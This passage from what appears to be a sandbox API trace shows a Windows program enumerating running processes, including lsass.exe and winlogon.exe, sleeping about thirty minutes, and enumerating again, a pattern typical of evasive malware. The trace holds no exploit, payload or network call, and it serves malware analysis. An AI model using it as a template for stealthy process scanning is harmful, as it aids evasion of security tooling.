szExeFile="printable_fountain_korea.exe")) returned 1 [0100.321] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="printable_fountain_korea.exe" | out: lpString1="printable_fountain_korea.exe") returned="printable_fountain_korea.exe" [0100.321] lstrlenW (lpString="printable_fountain_korea.exe") returned 28 [0100.321] CharUpperBuffW (in: lpsz="printable_fountain_korea.exe", cchLength=0x1c | out: lpsz="PRINTABLE_FOUNTAIN_KOREA.EXE") returned 0x1c [0100.321] PathFindFileNameW (pszPath="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0100.321] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PRINTABLE_FOUNTAIN_KOREA.EXE" | out: lpString1="PRINTABLE_FOUNTAIN_KOREA.EXE") returned="PRINTABLE_FOUNTAIN_KOREA.EXE" [0100.321] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="unusual.exe")) returned 1 [0100.322] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="unusual.exe" | out: lpString1="unusual.exe") returned="unusual.exe" [0100.322] lstrlenW (lpString="unusual.exe") returned 11 [0100.322] CharUpperBuffW (in: lpsz="unusual.exe", cchLength=0xb | out: lpsz="UNUSUAL.EXE") returned 0xb [0100.322] PathFindFileNameW (pszPath="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0100.322] lstrcpyW (in: lpString1=0x2b4f928, lpString2="UNUSUAL.EXE" | out: lpString1="UNUSUAL.EXE") returned="UNUSUAL.EXE" [0100.322] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xa38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="pacific.exe")) returned 1 [0100.323] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="pacific.exe" | out: lpString1="pacific.exe") returned="pacific.exe" [0100.323] lstrlenW (lpString="pacific.exe") returned 11 [0100.323] CharUpperBuffW (in: lpsz="pacific.exe", cchLength=0xb | out: lpsz="PACIFIC.EXE") returned 0xb [0100.323] PathFindFileNameW (pszPath="PACIFIC.EXE") returned="PACIFIC.EXE" [0100.323] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PACIFIC.EXE" | out: lpString1="PACIFIC.EXE") returned="PACIFIC.EXE" [0100.323] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="phantom.exe")) returned 1 [0100.324] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="phantom.exe" | out: lpString1="phantom.exe") returned="phantom.exe" [0100.324] lstrlenW (lpString="phantom.exe") returned 11 [0100.324] CharUpperBuffW (in: lpsz="phantom.exe", cchLength=0xb | out: lpsz="PHANTOM.EXE") returned 0xb [0100.324] PathFindFileNameW (pszPath="PHANTOM.EXE") returned="PHANTOM.EXE" [0100.324] lstrcpyW (in: lpString1=0x2b4f928, lpString2="PHANTOM.EXE" | out: lpString1="PHANTOM.EXE") returned="PHANTOM.EXE" [0100.324] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x548, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="backgroundTaskHost.exe")) returned 1 [0100.325] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="backgroundTaskHost.exe" | out: lpString1="backgroundTaskHost.exe") returned="backgroundTaskHost.exe" [0100.325] lstrlenW (lpString="backgroundTaskHost.exe") returned 22 [0100.325] CharUpperBuffW (in: lpsz="backgroundTaskHost.exe", cchLength=0x16 | out: lpsz="BACKGROUNDTASKHOST.EXE") returned 0x16 [0100.325] PathFindFileNameW (pszPath="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0100.325] lstrcpyW (in: lpString1=0x2b4f928, lpString2="BACKGROUNDTASKHOST.EXE" | out: lpString1="BACKGROUNDTASKHOST.EXE") returned="BACKGROUNDTASKHOST.EXE" [0100.325] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xcb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x32c, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0100.356] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="audiodg.exe" | out: lpString1="audiodg.exe") returned="audiodg.exe" [0100.356] lstrlenW (lpString="audiodg.exe") returned 11 [0100.356] CharUpperBuffW (in: lpsz="audiodg.exe", cchLength=0xb | out: lpsz="AUDIODG.EXE") returned 0xb [0100.356] PathFindFileNameW (pszPath="AUDIODG.EXE") returned="AUDIODG.EXE" [0100.356] lstrcpyW (in: lpString1=0x2b4f928, lpString2="AUDIODG.EXE" | out: lpString1="AUDIODG.EXE") returned="AUDIODG.EXE" [0100.356] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xd34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x57c, pcPriClassBase=8, dwFlags=0x0, szExeFile="SCN0tification.exe")) returned 1 [0100.357] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="SCN0tification.exe" | out: lpString1="SCN0tification.exe") returned="SCN0tification.exe" [0100.357] lstrlenW (lpString="SCN0tification.exe") returned 18 [0100.357] CharUpperBuffW (in: lpsz="SCN0tification.exe", cchLength=0x12 | out: lpsz="SCN0TIFICATION.EXE") returned 0x12 [0100.357] PathFindFileNameW (pszPath="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0100.357] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SCN0TIFICATION.EXE" | out: lpString1="SCN0TIFICATION.EXE") returned="SCN0TIFICATION.EXE" [0100.357] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xde4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0100.358] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0100.358] lstrlenW (lpString="svchost.exe") returned 11 [0100.358] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0100.358] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.358] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0100.358] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xeec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0100.358] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="sppsvc.exe" | out: lpString1="sppsvc.exe") returned="sppsvc.exe" [0100.358] lstrlenW (lpString="sppsvc.exe") returned 10 [0100.358] CharUpperBuffW (in: lpsz="sppsvc.exe", cchLength=0xa | out: lpsz="SPPSVC.EXE") returned 0xa [0100.358] PathFindFileNameW (pszPath="SPPSVC.EXE") returned="SPPSVC.EXE" [0100.358] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPPSVC.EXE" | out: lpString1="SPPSVC.EXE") returned="SPPSVC.EXE" [0100.358] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0100.359] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dllhost.exe" | out: lpString1="dllhost.exe") returned="dllhost.exe" [0100.359] lstrlenW (lpString="dllhost.exe") returned 11 [0100.359] CharUpperBuffW (in: lpsz="dllhost.exe", cchLength=0xb | out: lpsz="DLLHOST.EXE") returned 0xb [0100.359] PathFindFileNameW (pszPath="DLLHOST.EXE") returned="DLLHOST.EXE" [0100.359] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DLLHOST.EXE" | out: lpString1="DLLHOST.EXE") returned="DLLHOST.EXE" [0100.359] Process32NextW (in: hSnapshot=0x5b8, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x454, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x23c, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0100.360] CloseHandle (hObject=0x5b8) returned 1 [0100.360] Sleep (dwMilliseconds=0x1b7740) [0110.372] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x524 [0110.376] Process32FirstW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0110.377] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="[System Process]" | out: lpString1="[System Process]") returned="[System Process]" [0110.377] lstrlenW (lpString="[System Process]") returned 16 [0110.377] CharUpperBuffW (in: lpsz="[System Process]", cchLength=0x10 | out: lpsz="[SYSTEM PROCESS]") returned 0x10 [0110.377] PathFindFileNameW (pszPath="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0110.377] lstrcpyW (in: lpString1=0x2b4f928, lpString2="[SYSTEM PROCESS]" | out: lpString1="[SYSTEM PROCESS]") returned="[SYSTEM PROCESS]" [0110.377] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x65, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0110.377] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="System" | out: lpString1="System") returned="System" [0110.377] lstrlenW (lpString="System") returned 6 [0110.377] CharUpperBuffW (in: lpsz="System", cchLength=0x6 | out: lpsz="SYSTEM") returned 0x6 [0110.377] PathFindFileNameW (pszPath="SYSTEM") returned="SYSTEM" [0110.377] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SYSTEM" | out: lpString1="SYSTEM") returned="SYSTEM" [0110.378] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x108, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0110.378] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="smss.exe" | out: lpString1="smss.exe") returned="smss.exe" [0110.378] lstrlenW (lpString="smss.exe") returned 8 [0110.378] CharUpperBuffW (in: lpsz="smss.exe", cchLength=0x8 | out: lpsz="SMSS.EXE") returned 0x8 [0110.378] PathFindFileNameW (pszPath="SMSS.EXE") returned="SMSS.EXE" [0110.378] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SMSS.EXE" | out: lpString1="SMSS.EXE") returned="SMSS.EXE" [0110.378] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x154, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.379] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0110.379] lstrlenW (lpString="csrss.exe") returned 9 [0110.379] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0110.379] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0110.379] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0110.379] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x194, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x14c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0110.380] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="wininit.exe" | out: lpString1="wininit.exe") returned="wininit.exe" [0110.380] lstrlenW (lpString="wininit.exe") returned 11 [0110.380] CharUpperBuffW (in: lpsz="wininit.exe", cchLength=0xb | out: lpsz="WININIT.EXE") returned 0xb [0110.380] PathFindFileNameW (pszPath="WININIT.EXE") returned="WININIT.EXE" [0110.380] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WININIT.EXE" | out: lpString1="WININIT.EXE") returned="WININIT.EXE" [0110.380] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0110.381] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="csrss.exe" | out: lpString1="csrss.exe") returned="csrss.exe" [0110.381] lstrlenW (lpString="csrss.exe") returned 9 [0110.381] CharUpperBuffW (in: lpsz="csrss.exe", cchLength=0x9 | out: lpsz="CSRSS.EXE") returned 0x9 [0110.381] PathFindFileNameW (pszPath="CSRSS.EXE") returned="CSRSS.EXE" [0110.381] lstrcpyW (in: lpString1=0x2b4f928, lpString2="CSRSS.EXE" | out: lpString1="CSRSS.EXE") returned="CSRSS.EXE" [0110.381] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1cc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x18c, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0110.382] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="winlogon.exe" | out: lpString1="winlogon.exe") returned="winlogon.exe" [0110.382] lstrlenW (lpString="winlogon.exe") returned 12 [0110.382] CharUpperBuffW (in: lpsz="winlogon.exe", cchLength=0xc | out: lpsz="WINLOGON.EXE") returned 0xc [0110.382] PathFindFileNameW (pszPath="WINLOGON.EXE") returned="WINLOGON.EXE" [0110.382] lstrcpyW (in: lpString1=0x2b4f928, lpString2="WINLOGON.EXE" | out: lpString1="WINLOGON.EXE") returned="WINLOGON.EXE" [0110.382] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1e4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0110.383] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="services.exe" | out: lpString1="services.exe") returned="services.exe" [0110.383] lstrlenW (lpString="services.exe") returned 12 [0110.383] CharUpperBuffW (in: lpsz="services.exe", cchLength=0xc | out: lpsz="SERVICES.EXE") returned 0xc [0110.383] PathFindFileNameW (pszPath="SERVICES.EXE") returned="SERVICES.EXE" [0110.383] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SERVICES.EXE" | out: lpString1="SERVICES.EXE") returned="SERVICES.EXE" [0110.383] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x194, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0110.383] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="lsass.exe" | out: lpString1="lsass.exe") returned="lsass.exe" [0110.383] lstrlenW (lpString="lsass.exe") returned 9 [0110.383] CharUpperBuffW (in: lpsz="lsass.exe", cchLength=0x9 | out: lpsz="LSASS.EXE") returned 0x9 [0110.383] PathFindFileNameW (pszPath="LSASS.EXE") returned="LSASS.EXE" [0110.383] lstrcpyW (in: lpString1=0x2b4f928, lpString2="LSASS.EXE" | out: lpString1="LSASS.EXE") returned="LSASS.EXE" [0110.383] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x23c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.384] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.384] lstrlenW (lpString="svchost.exe") returned 11 [0110.384] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.384] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.384] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.384] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x268, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.385] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.385] lstrlenW (lpString="svchost.exe") returned 11 [0110.385] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.385] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.385] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.385] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1cc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0110.385] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="dwm.exe" | out: lpString1="dwm.exe") returned="dwm.exe" [0110.385] lstrlenW (lpString="dwm.exe") returned 7 [0110.386] CharUpperBuffW (in: lpsz="dwm.exe", cchLength=0x7 | out: lpsz="DWM.EXE") returned 0x7 [0110.386] PathFindFileNameW (pszPath="DWM.EXE") returned="DWM.EXE" [0110.386] lstrcpyW (in: lpString1=0x2b4f928, lpString2="DWM.EXE" | out: lpString1="DWM.EXE") returned="DWM.EXE" [0110.386] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x324, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x42, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.386] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.386] lstrlenW (lpString="svchost.exe") returned 11 [0110.386] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.386] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.386] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.386] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x32c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.387] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.387] lstrlenW (lpString="svchost.exe") returned 11 [0110.387] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.387] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.387] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.387] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x358, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.388] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.388] lstrlenW (lpString="svchost.exe") returned 11 [0110.388] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.388] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.388] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.388] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.389] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.389] lstrlenW (lpString="svchost.exe") returned 11 [0110.389] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.389] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.389] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.389] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x398, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.390] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.390] lstrlenW (lpString="svchost.exe") returned 11 [0110.390] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.390] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.390] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.390] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.390] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.390] lstrlenW (lpString="svchost.exe") returned 11 [0110.390] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.390] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.390] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.390] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x164, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0110.391] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="spoolsv.exe" | out: lpString1="spoolsv.exe") returned="spoolsv.exe" [0110.391] lstrlenW (lpString="spoolsv.exe") returned 11 [0110.391] CharUpperBuffW (in: lpsz="spoolsv.exe", cchLength=0xb | out: lpsz="SPOOLSV.EXE") returned 0xb [0110.391] PathFindFileNameW (pszPath="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0110.391] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SPOOLSV.EXE" | out: lpString1="SPOOLSV.EXE") returned="SPOOLSV.EXE" [0110.391] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x420, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.392] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.392] lstrlenW (lpString="svchost.exe") returned 11 [0110.392] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.392] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.392] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.392] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1a, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0110.393] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="svchost.exe" | out: lpString1="svchost.exe") returned="svchost.exe" [0110.393] lstrlenW (lpString="svchost.exe") returned 11 [0110.393] CharUpperBuffW (in: lpsz="svchost.exe", cchLength=0xb | out: lpsz="SVCHOST.EXE") returned 0xb [0110.393] PathFindFileNameW (pszPath="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.393] lstrcpyW (in: lpString1=0x2b4f928, lpString2="SVCHOST.EXE" | out: lpString1="SVCHOST.EXE") returned="SVCHOST.EXE" [0110.393] Process32NextW (in: hSnapshot=0x524, lppe=0x2b4fb48 | out: lppe=0x2b4fb48*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1e4, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0110.393] lstrcpyW (in: lpString1=0x2b4fd74, lpString2="OfficeClickToRun.exe" | out: lpString1="OfficeClickToRun.exe") returned="OfficeClickToRun.exe" 